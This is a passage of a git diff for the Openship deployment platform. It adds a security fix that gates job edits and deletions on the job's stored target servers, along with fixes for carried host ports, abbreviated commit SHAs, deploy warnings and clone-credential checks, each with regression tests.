diff --git a/CHANGELOG.md b/CHANGELOG.md index d462fd12f..db764056d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,17 @@ one-off DNS token table and unlocks private image pulls on any host. The app catalog is installable end to end, the audit log moves out of Settings onto its own page, and uploads stop failing at 1 MB. +### Security + +- **Job writes are authorized against the job's own target servers** — jobs are + instance-wide, so the `job:write` permission (which checks organization + membership) is not by itself authority over the servers a command job runs on. + Editing and deleting a job now go through the same per-target server check that + creating and running one already did, and a denial is indistinguishable from a + job that doesn't exist. Reported externally; regression tests added. + Self-hosted instances with more than one trust level should upgrade; Openship + Cloud was never affected (the Jobs API is `localOnly`). + ### Credentials - **One store for third-party secrets** — a provider registry (container @@ -103,6 +114,19 @@ own page, and uploads stop failing at 1 MB. ### Fixes +- **`openship reset-admin-password` works on a Compose install** — it + authenticated with `~/.openship/internal-token`, a file the Compose path never + writes: the api container is booted with the `INTERNAL_TOKEN` from + `~/.openship/compose/.env`. So on a Compose box the command *minted* a brand-new + random token, sent that, and reported `Unauthorized` — the lockout-recovery + command was unusable on exactly the install that needed it. Which token this box + is running with is now resolved in one place, readers never mint, and a + root-owned `.env` this user can't open says so (re-run with sudo) instead of + reporting an authorization failure. Same fix reaches the control panel's "Reset + admin password", `openship doctor` (whose health readout came back empty on + every Compose stack), and a bare box's `:80/:443` takeover, which looked for the + Compose token and skipped importing the migrated sites after stopping the + operator's proxy. - **A password reset uses a 6-digit code** — rather than an emailed link. - **A cancelled deployment keeps its reason** — the failure message was gated on `failed` alone, which blanked the reason on every cancelled row. But a cancel is @@ -117,6 +141,19 @@ own page, and uploads stop failing at 1 MB. to the bare hostname as its id, and every guard downstream reads that id as proof the server row exists. So a hostname with no row yet rendered a live Verify button that 404'd, along with a DNS-records panel that couldn't load. +- **An abbreviated commit is not a new commit** — `POST /deployments` takes + `commitSha` as whatever the caller sends (`openship deploy --commit 1eeaf76`, the + MCP deploy tool, a CI script), and git checks an abbreviation out happily: the + right code shipped while the row recorded a name no comparison could match. The + drift check compared it against the 40-char branch HEAD, and since both sides + render seven characters, the project page advertised "New commit available + 1eeaf76 … you're deployed on 1eeaf76" — permanently, with a Redeploy that could + never clear it. Two shas now name the same commit when one is a prefix of the + other at git's own abbreviation floor, a ref that is not a sha at all (a tag, + `HEAD`) reads as "can't tell" rather than as drift, and a caller's ref is + resolved to the full sha before anything stores or compares it — which also + unbreaks the per-service commit checks GitHub rejects a short sha for, and the + webhook's already-deploying dedupe. ## 0.6.5 diff --git a/apps/api/src/middleware/internal-auth.ts b/apps/api/src/middleware/internal-auth.ts index 48c79ce78..b61fb2dc5 100644 --- a/apps/api/src/middleware/internal-auth.ts +++ b/apps/api/src/middleware/internal-auth.ts @@ -23,6 +23,12 @@ import { isLoopbackRequest, peerAddress } from "./loopback-peer"; * * Uses timing-safe comparison to prevent side-channel leakage on the * normal path. + * + * The refusal body is exactly `{"error":"Unauthorized"}`, and the CLI reads it: + * lib/loopback-api's internalFetch treats THAT shape (and only it) as "the token was + * refused, before any handler ran", which is what makes retrying with this box's other + * token safe. A handler's own 401 — /cloud-connect after a single-use PKCE exchange — + * must stay distinguishable from this one, so keep the wording. */ export async function internalAuth(c: Context, next: Next) { if (!env.INTERNAL_TOKEN) { diff --git a/apps/api/src/modules/deployments/build-pipeline.ts b/apps/api/src/modules/deployments/build-pipeline.ts index 6ce529485..58bdab079 100644 --- a/apps/api/src/modules/deployments/build-pipeline.ts +++ b/apps/api/src/modules/deployments/build-pipeline.ts @@ -72,7 +72,7 @@ import { } from "../../lib/routing-domains"; import { normalizeTargetPath } from "../../lib/public-endpoints"; import { resolveRuntimeResources, resolveBuildResources } from "../../lib/resources"; -import { resolveBuildGitToken } from "../github/clone-auth"; +import { cloneOnServerAvailable, resolveBuildGitToken } from "../github/clone-auth"; import { openDeployRelay } from "../../lib/git-forwarding"; import { resolveOrgOwner } from "../../lib/org-actor"; import { resolveAcmeProviderOptions } from "../../lib/acme-config"; @@ -411,7 +411,13 @@ export async function finalizeComposeDeploy(opts: { extra: { meta: { ...meta, composeDeployment } }, sse: { status: "ready", - meta: { warningMessage }, + // `decisionPending` explicitly, because THIS is the only thing that means a + // keep/reject decision is being held. The live event used to carry only + // `warningMessage`, so the client inferred the decision from "a warning exists on + // success" — and every OTHER warning then opened the failed-services modal. A + // successful deploy whose domains have no cert yet showed "Deployment finished with + // failed services · 0 of 5 services failed · Retry 0 Failed Services". + meta: { warningMessage, decisionPending: true }, }, }); } else if (rolled === "failed") { @@ -777,12 +783,9 @@ async function executeBuildAndDeploy(project: Project, dep: Deployment, buildSes // nothing qualifies, fall back to cloning on the API host and transferring the // context — warn, never hard-fail. (The BARE runtime always clones on the // target and is gated by preflight separately, so this only changes DOCKER.) - const cloneCredentialAvailable = - !!gitCred.ambient || - gitCred.relay === true || - !!gitCred.ssh || - gitCred.anonymous === true || - (!!gitCred.token && !gitCred.apiHostFallback); + // The rule itself lives with the credential type (`cloneOnServerAvailable`), so a capability + // check shown in the picker and the decision made here can never disagree. + const cloneCredentialAvailable = cloneOnServerAvailable(gitCred).available; const effectiveCloneOnServer = cloneOnServer && (runtime.name === "bare" || cloneCredentialAvailable); if (cloneOnServer && runtime.name !== "bare" && !cloneCredentialAvailable) { diff --git a/apps/api/src/modules/deployments/build.service.ts b/apps/api/src/modules/deployments/build.service.ts index 2a915124f..73e853498 100644 --- a/apps/api/src/modules/deployments/build.service.ts +++ b/apps/api/src/modules/deployments/build.service.ts @@ -22,7 +22,9 @@ import { SYSTEM, STACKS, safeErrorMessage, + compareCommitSha, getRuntimeImage, + isFullCommitSha, isReleaseProvider, looksLikeSecretKey, resolveProjectVolumes, @@ -43,7 +45,7 @@ import { resolveCloudResourceConfig } from "./cloud-resources"; import type { TBuildAccessBody } from "./deployment.schema"; import { platform } from "../../lib/controller-helpers"; import { encrypt } from "../../lib/encryption"; -import { getLatestCommit, getRepository } from "../github/github.service"; +import { getCommitByRef, getLatestCommit, getRepository } from "../github/github.service"; import { assertGitHubRepoAccess } from "../github/github-access"; import { firePreDeployBackups } from "../backups/triggers/pre-deploy"; import { resolveSmartRoute } from "./smart-route"; @@ -476,6 +478,36 @@ async function resolveLatestCommitInfo(ctx: RequestContext, project: Project, br return head ? { commitSha: head.sha, commitMessage: head.message } : {}; } +/** + * Canonicalize a caller-supplied commit ref to the commit's full sha. + * + * `POST /deployments` takes `commitSha` as a free string — `openship deploy + * --commit 1eeaf76`, the MCP deploy tool, a CI script — and git checks out + * anything it is given, so an abbreviated sha builds exactly the right code while + * the row records a name nothing downstream can match by value: the drift check + * compares it against a 40-char branch HEAD (which is how a project deployed at + * `1eeaf76` ends up being offered `1eeaf76` as a new commit, permanently), the + * commit-status API rejects a short sha outright, and the in-flight webhook dedupe + * misses. Resolved ONCE here, before anything compares or stores it. + * + * Fail-soft: an unresolvable ref (no GitHub repo, no credential, rate limit) is + * kept verbatim. The deploy still knows how to check it out; only the bookkeeping + * is less precise, and that is not worth failing a deploy over. + */ +async function canonicalizeCommitRef( + ctx: RequestContext, + project: Project, + ref: string | undefined, +): Promise { + const trimmed = ref?.trim(); + if (!trimmed || isFullCommitSha(trimmed)) return trimmed; + if (!project.gitOwner || !project.gitRepo) return trimmed; + const found = await getCommitByRef(ctx, project.gitOwner, project.gitRepo, trimmed).catch( + () => null, + ); + return found?.sha ?? trimmed; +} + async function resolveProjectBranch(ctx: RequestContext, project: Project, branch?: string) { const configuredBranch = branch?.trim() || project.gitBranch?.trim(); if (configuredBranch) return configuredBranch; @@ -1791,20 +1823,26 @@ export async function triggerDeployment( const branch = await resolveProjectBranch(ctx, project, data.branch); const environment = data.environment ?? "production"; + // Before the dedupe below and before anything stores it: one canonical sha, so + // the row a webhook compares against and the row the drift check reads are + // written in the same alphabet. See canonicalizeCommitRef. + const requestedCommitSha = await canonicalizeCommitRef(ctx, project, data.commitSha); // Skip an auto (webhook) deploy whose commit is already in-flight or live — // closes the App + repo-webhook double-deploy window. Manual/forceAll bypass. - if (data.trigger === "webhook" && !data.forceAll && data.commitSha) { + if (data.trigger === "webhook" && !data.forceAll && requestedCommitSha) { const inFlight = await repos.deployment - .findInProgressByCommit(project.id, data.commitSha) + .findInProgressByCommit(project.id, requestedCommitSha) .catch(() => undefined); const active = project.activeDeploymentId ? await repos.deployment.findById(project.activeDeploymentId).catch(() => null) : null; - const existing = inFlight ?? (active?.commitSha === data.commitSha ? active : null); + const existing = + inFlight ?? + (compareCommitSha(active?.commitSha, requestedCommitSha) === "same" ? active : null); if (existing) { console.log( - `[Deploy] project ${project.id}: webhook deploy for ${data.commitSha} skipped — already ${inFlight ? "in progress" : "live"} (${existing.id}).`, + `[Deploy] project ${project.id}: webhook deploy for ${requestedCommitSha} skipped — already ${inFlight ? "in progress" : "live"} (${existing.id}).`, ); return { deployment: existing, skipped: true as const }; } @@ -1901,7 +1939,7 @@ export async function triggerDeployment( } // ── Resolve commit info: fetch HEAD from GitHub if not provided ──── - let commitSha = data.commitSha; + let commitSha = requestedCommitSha; let commitMessage = data.commitMessage; if (data.refresh) { // Refresh recreates the running containers with current env — it never diff --git a/apps/api/src/modules/deployments/compose/carried-host-port.test.ts b/apps/api/src/modules/deployments/compose/carried-host-port.test.ts new file mode 100644 index 000000000..9b9b50797 --- /dev/null +++ b/apps/api/src/modules/deployments/compose/carried-host-port.test.ts @@ -0,0 +1,86 @@ +import { describe, expect, it } from "vitest"; +import { readFileSync } from "node:fs"; + +import { pickHostPort } from "@repo/adapters"; + +/** + * A host port cannot travel with a project. + * + * The deploy persists the loopback host port it pinned for a service and reuses it on the next + * deploy, which is right on the SAME host: the port was ours and still is. It is wrong the moment + * the host changes. A migration replays the source's port on a target that knows nothing about + * it, and if anything there holds it Docker refuses the bind: + * + * driver failed programming external connectivity on endpoint openship-clincai-api: + * Bind for 127.0.0.1:20001 failed: port is already allocated + * + * — which took down `api` and, by dependency, `dashboard` and `web`: 3 of 5 services, on a + * migration whose data had already transferred successfully. + * + * The allocator already had the right primitive (`preferred` = keep it if free), so the fix is to + * route the carried port through it instead of branching around it. + */ +describe("pickHostPort's preferred-port contract", () => { + it("keeps the carried port when it is free — stable redeploys", () => { + expect(pickHostPort(new Set(), { preferred: 20001 })).toBe(20001); + }); + + it("picks another when the carried port is occupied on THIS host", () => { + // The migration case: 20001 came from the source and is taken on the target. + const port = pickHostPort(new Set([20001]), { preferred: 20001 }); + expect(port).not.toBe(20001); + expect(port).toBeGreaterThanOrEqual(20000); + }); + + it("picks another when a sibling in the same deploy already took it", () => { + expect(pickHostPort(new Set(), { preferred: 20001, avoid: [20001] })).not.toBe(20001); + }); + + it("keeps a carried port that predates the current range", () => { + // Documented behaviour of `preferred`, and worth pinning: a project pinned outside + // 20000-29999 must not be renumbered just for being old. + expect(pickHostPort(new Set(), { preferred: 15000 })).toBe(15000); + }); + + it("falls back to the range start when nothing is carried", () => { + expect(pickHostPort(new Set(), {})).toBe(20000); + }); +}); + +describe("the deploy routes the carried port through the allocator", () => { + const src = readFileSync( + new URL("./deploy.service.ts", import.meta.url), + "utf8", + ); + /** The loopback-port allocation block, bounded by its own loop. */ + const block = (() => { + const from = src.indexOf("for (const containerPort of routedContainerPorts) {"); + return src.slice(from, src.indexOf("usedHostPorts.add(hostPort);", from)); + })(); + + it("passes the carried port as `preferred`, not as the answer", () => { + expect(block).toContain("preferred: carried"); + }); + + it("no longer short-circuits the allocator when a carried port exists", () => { + // The bug in one line: `if (carried) { hostPort = carried; }` — no availability check, on a + // host that had never seen that port. + expect(block).not.toMatch(/if \(carried\) \{\s*hostPort = carried;/); + }); + + it("still avoids ports this same deploy already handed out", () => { + expect(block).toContain("avoid: usedHostPorts"); + }); + + it("says so when it had to move a carried port", () => { + // Otherwise a port silently changing between deploys looks like a bug from the outside. + expect(block).toContain("hostPort !== carried"); + expect(block).toContain("is taken on this server"); + }); + + it("keeps the unreadable-occupancy warning, which is a different failure", () => { + // A scan that could not run is not "nothing is listening" (#490) — with `preferred` set, + // that case now returns the carried port, so the warning is the only signal. + expect(block).toContain("allocation.scanned"); + }); +}); diff --git a/apps/api/src/modules/deployments/compose/deploy.service.ts b/apps/api/src/modules/deployments/compose/deploy.service.ts index 56f5a0dc0..e24f60949 100644 --- a/apps/api/src/modules/deployments/compose/deploy.service.ts +++ b/apps/api/src/modules/deployments/compose/deploy.service.ts @@ -1936,23 +1936,42 @@ export async function deployComposeServices( containerPort === primaryRoutedPort ? previousByServiceId.get(svc.id)?.hostPort : undefined; - let hostPort: number; - if (carried) { - hostPort = carried; - } else { - const allocation = await allocateHostPort(opts.executor, { avoid: usedHostPorts }); - hostPort = allocation.port; - // "Couldn't read occupancy" is not "nothing is listening" — without this the - // bind failure that follows blames Docker for an unreachable host (#490). - if (!allocation.scanned) { - logger.log( - `Couldn't read live port occupancy on the target, so ${allocation.port} for ` + - `${svc.name} avoids only ports this deploy already took. If publishing it fails ` + - `as "already allocated", check that Openship can reach this host ` + - `(Servers → this box).\n`, - "warn", - ); - } + /** + * A carried port is a PREFERENCE, never a given. + * + * It used to be taken verbatim whenever one existed, which is right for the case it was + * written for — a redeploy on the same host, where the port was ours and still is. It is + * wrong the moment the host changes: a MIGRATION carries the source's port to a target + * that knows nothing about it, and if anything there holds it Docker refuses the bind + * with "port is already allocated" and the service (plus everything depending on it) + * fails. A host port is a property of the HOST, not of the project, so it cannot travel + * with one. + * + * `preferred` is the allocator's own word for exactly this: keep it if it's free, pick + * another if it isn't. Passing it there rather than branching around the allocator means + * one rule for both cases and no second place that decides what a free port is. + */ + const allocation = await allocateHostPort(opts.executor, { + preferred: carried, + avoid: usedHostPorts, + }); + const hostPort = allocation.port; + if (carried && hostPort !== carried) { + logger.log( + `Host port ${carried} for ${svc.name} is taken on this server — using ${hostPort}. ` + + `(Expected when a project moves to a different host.)\n`, + ); + } + // "Couldn't read occupancy" is not "nothing is listening" — without this the + // bind failure that follows blames Docker for an unreachable host (#490). + if (!allocation.scanned) { + logger.log( + `Couldn't read live port occupancy on the target, so ${allocation.port} for ` + + `${svc.name} avoids only ports this deploy already took. If publishing it fails ` + + `as "already allocated", check that Openship can reach this host ` + + `(Servers → this box).\n`, + "warn", + ); } usedHostPorts.add(hostPort); pinnedHostPortByContainerPort.set(containerPort, hostPort); diff --git a/apps/api/src/modules/deployments/decision-vs-warning.test.ts b/apps/api/src/modules/deployments/decision-vs-warning.test.ts new file mode 100644 index 000000000..c81405ead --- /dev/null +++ b/apps/api/src/modules/deployments/decision-vs-warning.test.ts @@ -0,0 +1,55 @@ +import { describe, expect, it } from "vitest"; +import { readFileSync } from "node:fs"; + +/** + * A WARNING is not a DECISION. + * + * A successful deploy can warn about several things — domains not routed yet, domains routed with + * no TLS certificate — and none of them means a service failed. The client inferred otherwise + * (`decisionPending: data?.decisionPending ?? !!warningMessage`), so a cert advisory on a clean + * deploy opened the failed-services keep/reject modal reading: + * + * "Deployment finished with failed services · 0 of 5 services failed · Retry 0 Failed Services" + * + * Two halves, both pinned: the server SAYS when it is holding a decision, and the client believes + * only that. + */ +const pipeline = readFileSync(new URL("./build-pipeline.ts", import.meta.url), "utf8"); +const lifecycle = readFileSync(new URL("./deployment-lifecycle.ts", import.meta.url), "utf8"); + +const codeOnly = (s: string) => s.replace(/\/\*[\s\S]*?\*\//g, "").replace(/\/\/.*$/gm, ""); + +describe("the server announces a held decision on the live event", () => { + it("sends decisionPending with the partial-failure SSE meta", () => { + const partial = pipeline.slice(pipeline.indexOf('rolled === "partial_failure"')); + expect(codeOnly(partial.slice(0, 2500))).toContain("decisionPending: true"); + }); + + it("the SSE meta type carries the field, so it can't be dropped silently", () => { + expect(codeOnly(lifecycle)).toContain("decisionPending?: boolean"); + }); + + it("only the partial-failure branch sets it", () => { + // A routing/TLS warning on success must not carry it — that is the whole bug. + const code = codeOnly(pipeline); + expect(code.match(/decisionPending: true/g) ?? []).toHaveLength(1); + }); +}); + +describe("routeIssuesWarning is advisory only", () => { + it("describes TLS-pending domains as routed, not as failures", async () => { + const { routeIssuesWarning } = await import("./deployment-lifecycle"); + const msg = routeIssuesWarning([], ["api.example.com", "app.example.com"]); + expect(msg).toContain("routed but have no HTTPS certificate yet"); + // The remedy is DNS + Verify, never "some services failed". + expect(msg).toContain("Verify from the Domains tab"); + expect(msg.toLowerCase()).not.toContain("service"); + }); + + it("says nothing at all when there is nothing to say", () => { + // An empty warning must not become a truthy signal anywhere downstream. + return import("./deployment-lifecycle").then(({ routeIssuesWarning }) => { + expect(routeIssuesWarning([], [])).toBe(""); + }); + }); +}); diff --git a/apps/api/src/modules/deployments/deployment-lifecycle.ts b/apps/api/src/modules/deployments/deployment-lifecycle.ts index 67673b092..778316390 100644 --- a/apps/api/src/modules/deployments/deployment-lifecycle.ts +++ b/apps/api/src/modules/deployments/deployment-lifecycle.ts @@ -283,6 +283,16 @@ export async function setDeploymentStatus( errorDetails?: Record; warningMessage?: string; errorMessage?: string; + /** + * A keep/reject decision is being HELD for this deployment (a partial failure). + * + * Sent explicitly because it is not derivable from anything else on the event. The client + * used to infer it from "there is a warningMessage and the deploy succeeded", which is + * true of a partial failure and also of every routing/TLS advisory on a perfectly + * successful deploy — so a project whose domains had no cert yet was shown "Deployment + * finished with failed services · 0 of 5 services failed". + */ + decisionPending?: boolean; }; }; }, diff --git a/apps/api/src/modules/deployments/smart-route.ts b/apps/api/src/modules/deployments/smart-route.ts index 7e122c9dc..28c3857fa 100644 --- a/apps/api/src/modules/deployments/smart-route.ts +++ b/apps/api/src/modules/deployments/smart-route.ts @@ -1,4 +1,5 @@ import { repos, type Project } from "@repo/db"; +import { compareCommitSha } from "@repo/core"; import { type RequestContext } from "../../lib/request-context"; import { compareCommits } from "../github/github.service"; import { classifyChangedFiles, routeServicesByChanges } from "../github/webhook-changed-files"; @@ -51,7 +52,9 @@ export async function resolveSmartRoute( routable.length === 0 || !opts.commitSha || !opts.commitShaBefore || - opts.commitSha === opts.commitShaBefore || + // Same identity rule the drift banner uses: an abbreviated sha on one side + // is not a second commit to diff against. + compareCommitSha(opts.commitSha, opts.commitShaBefore) === "same" || !project.gitOwner || !project.gitRepo ) { diff --git a/apps/api/src/modules/github/clone-auth.ts b/apps/api/src/modules/github/clone-auth.ts index 99da13d4f..3dcab0cba 100644 --- a/apps/api/src/modules/github/clone-auth.ts +++ b/apps/api/src/modules/github/clone-auth.ts @@ -247,3 +247,45 @@ export async function resolveBuildGitToken(opts: { // Unreachable: requireTokenFor always throws when no token is resolvable. return {}; } + +/** + * Can a clone run ON THE BUILD HOST with this credential, or must it fall back to cloning on the + * orchestrator and shipping the context? + * + * ONE definition, because two would drift into a deploy that falls back while the UI promised it + * wouldn't. It lived inline in `build-pipeline` as an unnamed boolean, which meant the only way to + * find out whether "On the server" would actually work was to start a deploy and read the log. + * + * Five things qualify, and the reasons they do are not interchangeable: + * - `ambient` — the server already has its own git access; nothing needs to move. + * - `ssh` — a key we can ship and use there (server key or per-repo deploy key). + * - `relay` — the desktop relay forwards the identity for the duration. + * - `anonymous` — a public repo needs no credential at all. + * - `token` WITHOUT `apiHostFallback` — an App/PAT usable off-host. The flag is the whole + * point: a token carrying it is a LOCAL credential for cloning on THIS host, so treating + * token-presence alone as "shippable" would send a credential somewhere it can't authenticate + * and leak it off-host on the way. + * + * The BARE runtime always clones on the target and is gated by preflight separately, so callers + * apply this to the docker runtime only. + */ +export function cloneOnServerAvailable( + // The REAL credential type, not a hand-written subset: `ambient` is an object (`{ via }`), and + // a structural copy that guessed `boolean` typechecked while reading the same field. + cred: Pick< + BuildGitCredential, + "ambient" | "relay" | "ssh" | "anonymous" | "token" | "apiHostFallback" + >, +): { available: true } | { available: false; reason: string } { + if (cred.ambient) return { available: true }; + if (cred.relay === true) return { available: true }; + if (cred.ssh) return { available: true }; + if (cred.anonymous === true) return { available: true }; + if (cred.token && !cred.apiHostFallback) return { available: true }; + return { + available: false, + reason: + "the server has no GitHub identity of its own, no App/PAT token is available, and no git " + + "identity could be forwarded", + }; +} diff --git a/apps/api/src/modules/github/clone-on-server-available.test.ts b/apps/api/src/modules/github/clone-on-server-available.test.ts new file mode 100644 index 000000000..3ae078066 --- /dev/null +++ b/apps/api/src/modules/github/clone-on-server-available.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, it } from "vitest"; +import { cloneOnServerAvailable } from "./clone-auth"; + +/** + * ONE definition of "can the build host clone this itself". + * + * It was an unnamed inline boolean in `build-pipeline`, which meant the only way to find out + * whether "On the server" would actually work was to start a deploy and read the log for + * "Clone-on-server was requested, but nothing can authenticate the clone on the build host". + * Named and exported so a capability check the picker calls and the decision the deploy makes + * cannot disagree. + */ +const cred = (over: Record = {}) => over as never; + +describe("credentials that make clone-on-server work", () => { + it("the server's own ambient git access", () => { + expect(cloneOnServerAvailable(cred({ ambient: { via: "ssh-agent" } })).available).toBe(true); + }); + + it("a shippable ssh key", () => { + expect(cloneOnServerAvailable(cred({ ssh: { keyKind: "deploy-key" } })).available).toBe(true); + }); + + it("the desktop relay", () => { + expect(cloneOnServerAvailable(cred({ relay: true })).available).toBe(true); + }); + + it("a public repo, which needs no credential", () => { + expect(cloneOnServerAvailable(cred({ anonymous: true })).available).toBe(true); + }); + + it("a token usable off-host", () => { + expect(cloneOnServerAvailable(cred({ token: "ghp_x" })).available).toBe(true); + }); +}); + +describe("credentials that do NOT", () => { + it("refuses a token flagged apiHostFallback — it is LOCAL-only", () => { + // The subtle one, and the security-relevant one: treating token-presence alone as + // "shippable" would send a credential somewhere it can't authenticate, leaking it off-host + // on the way. + const r = cloneOnServerAvailable(cred({ token: "ghp_local", apiHostFallback: true })); + expect(r.available).toBe(false); + }); + + it("refuses an empty credential, and says why", () => { + const r = cloneOnServerAvailable(cred({})); + expect(r.available).toBe(false); + if (!r.available) { + expect(r.reason).toContain("no GitHub identity of its own"); + expect(r.reason).toContain("no git identity could be forwarded"); + } + }); + + it("treats relay/anonymous false as absent, not as permission", () => { + expect(cloneOnServerAvailable(cred({ relay: false, anonymous: false })).available).toBe(false); + }); +}); diff --git a/apps/api/src/modules/github/github.service.ts b/apps/api/src/modules/github/github.service.ts index 1e97cfd3c..49dd7bdd0 100644 --- a/apps/api/src/modules/github/github.service.ts +++ b/apps/api/src/modules/github/github.service.ts @@ -439,20 +439,24 @@ export async function listBranches( } /** - * Get the latest commit on a branch. + * The commit a ref resolves to — a branch, a tag, or an abbreviated sha all go + * through the same endpoint, and the reply always carries the FULL sha. That is + * what makes this the way to canonicalize a caller-supplied `commitSha`: an + * abbreviation is a legal name for a commit everywhere except in the value + * comparisons that decide whether a project is behind. */ -export async function getLatestCommit( +export async function getCommitByRef( ctx: RequestContext, owner: string, repo: string, - branch: string, + ref: string, ): Promise<{ sha: string; message: string } | null> { try { const data = await githubFetch<{ sha: string; commit: { message: string } }>({ ctx, owner, repo, - url: `https://api.github.com/repos/${encodeURIComponent(owner)}/${encodeURIComponent(repo)}/commits/${encodeURIComponent(branch)}`, + url: `https://api.github.com/repos/${encodeURIComponent(owner)}/${encodeURIComponent(repo)}/commits/${encodeURIComponent(ref)}`, }); return { sha: data.sha, message: data.commit.message }; } catch { @@ -460,6 +464,19 @@ export async function getLatestCommit( } } +/** + * Get the latest commit on a branch — `getCommitByRef` with a branch name, so the + * HEAD read and the ref canonicalization can never diverge. + */ +export async function getLatestCommit( + ctx: RequestContext, + owner: string, + repo: string, + branch: string, +): Promise<{ sha: string; message: string } | null> { + return getCommitByRef(ctx, owner, repo, branch); +} + /** * Fetch recent commits from a branch via the GitHub API. */ diff --git a/apps/api/src/modules/jobs/job.controller.ts b/apps/api/src/modules/jobs/job.controller.ts index 224a4ba1d..b0effd74e 100644 --- a/apps/api/src/modules/jobs/job.controller.ts +++ b/apps/api/src/modules/jobs/job.controller.ts @@ -7,6 +7,7 @@ import type { Context } from "hono"; import { repos } from "@repo/db"; +import { NotFoundError } from "@repo/core"; import { param, isServerInOrg } from "../../lib/controller-helpers"; import { getRequestContext } from "../../lib/request-context"; import { permission, checkPermissionOnResource } from "../../lib/permission"; @@ -36,25 +37,65 @@ async function assertJobServersWritable(c: Context, serverIds: string[]): Promis return null; } +/** + * Write gate for an EXISTING job, by key — the one gate every `/:key` write goes + * through (update, remove, run). + * + * The job KEY is not an authorization boundary: jobs are instance-global, and + * `job:write` only checks org membership. Authority comes from the job's TARGET + * SERVERS, and the targets that matter are the ones STORED on the row — plus any + * the patch adds, since a patch may re-point the job. + * + * Gating only on the body was the hole (reported externally, fixed Aug 2026): an update is a + * MERGE (`buildActionConfig` keeps the stored `serverIds` when the patch names + * none), so a patch carrying just `{command}` rewrote another tenant's job onto + * their own servers — root RCE on the next tick — while a patch that named the + * server was correctly refused. `remove` had no server gate at all. Anything that + * mutates a job by key must call this, not re-derive targets from user input. + */ +export async function assertJobWritable( + c: Context, + key: string, + patch?: { serverId?: string; serverIds?: string[] }, +): Promise { + const row = await repos.job.findByKey(key); + // Same 404 the service's NotFoundError produced, just reached before the write. + if (!row) return jobNotFound(c); + const targets = [ + ...resolveServerIds((row.actionConfig ?? {}) as CommandConfig), + ...(patch ? resolveServerIds(patch) : []), + ]; + // EVERY denial answers exactly what an unknown key answers. Letting the target + // check reply for itself would hand an unauthorized caller two facts the read + // gate refuses them: that the key exists, and — since `permission.assert` throws + // `NotFoundError("server", id)` — which server id it points at. `create` keeps the + // specific message on purpose: there is no stored job to conceal there, and the + // id in that message is the caller's own input. + try { + if (await assertJobServersWritable(c, targets)) return jobNotFound(c); + } catch (err) { + if (err instanceof NotFoundError) return jobNotFound(c); + throw err; // a real failure (DB, etc.) must not read as "denied" + } + return null; +} + +/** The one write-path denial: indistinguishable from "no such job". */ +function jobNotFound(c: Context): Response { + return c.json({ error: "Job not found" }, 404); +} + /** * Full authorization to RUN a job by key, shared by the run route and any other * caller that can trigger a job (e.g. an incoming-webhook `job` action). Jobs are * instance-global, so a bare `runJobNow(key)` bypasses both the `job:write` org - * gate and the per-target server-admin check. Assert both here so no path can - * trigger a job the caller couldn't run via `POST /jobs/:key/run`. Returns a - * Response (403/404) when denied, or null when the caller may run it. + * gate and the per-target server-admin check. Asserts the org gate itself (the + * webhook path has no route tag to do it) and defers the target check to the + * shared gate above. Returns a Response (403/404) when denied, else null. */ export async function assertJobRunnable(c: Context, key: string): Promise { - const ctx = getRequestContext(c); - await permission.assert(ctx, { resourceType: "job", resourceId: "*", action: "write" }); - const row = await repos.job.findByKey(key); - if (!row) return c.json({ error: "Job not found" }, 404); - const serverIds = resolveServerIds((row.actionConfig ?? {}) as CommandConfig); - if (serverIds.length) { - const denied = await assertJobServersWritable(c, serverIds); - if (denied) return denied; - } - return null; + await permission.assert(getRequestContext(c), { resourceType: "job", resourceId: "*", action: "write" }); + return assertJobWritable(c, key); } /** @@ -62,6 +103,12 @@ export async function assertJobRunnable(c: Context, key: string): Promise { const ctx = getRequestContext(c); @@ -196,18 +243,20 @@ export async function create(c: Context) { export async function update(c: Context) { const key = param(c, "key"); const body = await c.req.json(); - // If the patch re-points the job at (new) servers, authorize those targets. - const targets = resolveServerIds(body); - if (targets.length) { - const denied = await assertJobServersWritable(c, targets); - if (denied) return denied; - } + // The job's CURRENT targets as well as any the patch adds — see assertJobWritable. + const denied = await assertJobWritable(c, key, body); + if (denied) return denied; const updated = await jobService.updateJob(key, body); return c.json({ data: await jobService.getJob(updated.key) }); } export async function remove(c: Context) { - await jobService.deleteCustomJob(param(c, "key")); + const key = param(c, "key"); + const denied = await assertJobWritable(c, key); + if (denied) return denied; + // System jobs are still undeletable — that rejection comes from the service, + // after this gate passes on their empty target set. + await jobService.deleteCustomJob(key); return c.json({ success: true }); } diff --git a/apps/api/src/modules/migration/cert-carry-project-domains.test.ts b/apps/api/src/modules/migration/cert-carry-project-domains.test.ts new file mode 100644 index 000000000..73d3d38e4 --- /dev/null +++ b/apps/api/src/modules/migration/cert-carry-project-domains.test.ts @@ -0,0 +1,71 @@ +import { describe, expect, it } from "vitest"; +import { readFileSync } from "node:fs"; + +/** + * A moved project must arrive with the certificates it already had. + * + * `carrySourceCerts` plants the source's TLS material at the target's certbot path before the + * post-verify domain publish reads it, so a kept domain reuses its cert instead of re-issuing. + * For a project MOVE it did nothing, and the symptom looked like a completely different bug: + * every domain re-issued through ACME on the target, failed while DNS still pointed at the + * source, and the operator got "Domain routed without HTTPS" plus three pages of certbot output + * on a stack whose five services had all started cleanly. + * + * The cause was the domain SOURCE. `chosen[].existingRoute` comes from the foreign-proxy scan — + * another box's nginx/caddy/traefik config, indexed by published host port. Right for adopting a + * stranger's stack; empty for a project we own, whose domains are in our own `domain` table and + * whose containers publish on loopback ports. + */ +const src = readFileSync(new URL("./migration.orchestrator.ts", import.meta.url), "utf8"); +const carry = (() => { + const from = src.indexOf(" private async carrySourceCerts("); + return src.slice(from, src.indexOf("\n private async ", from + 10)); +})(); +/** Comments stripped. Asserting absence against raw source fails on the comment that explains + * the absence — a note about `sslStatus` is not a use of it. */ +const carryCode = carry.replace(/\/\*[\s\S]*?\*\//g, "").replace(/\/\/.*$/gm, ""); + +describe("cert carry reads the project's own domains", () => { + it("takes a projectId", () => { + expect(carry).toContain("projectId?: string"); + }); + + it("adds every hostname the project owns", () => { + expect(carry).toContain("repos.domain.listByProject(projectId)"); + expect(carry).toContain("domains.add(row.hostname.toLowerCase())"); + }); + + it("still reads the scan's routes too, so adopting a stranger's stack is unchanged", () => { + expect(carry).toContain("s.existingRoute ?? []"); + }); + + it("does NOT pre-filter on our own sslStatus", () => { + // `certCandidateFor` already verifies coverage + expiry and skips with a reason. A second + // opinion here — from a column that can be stale — would silently drop a domain that had a + // perfectly good cert, sending it back through ACME. + 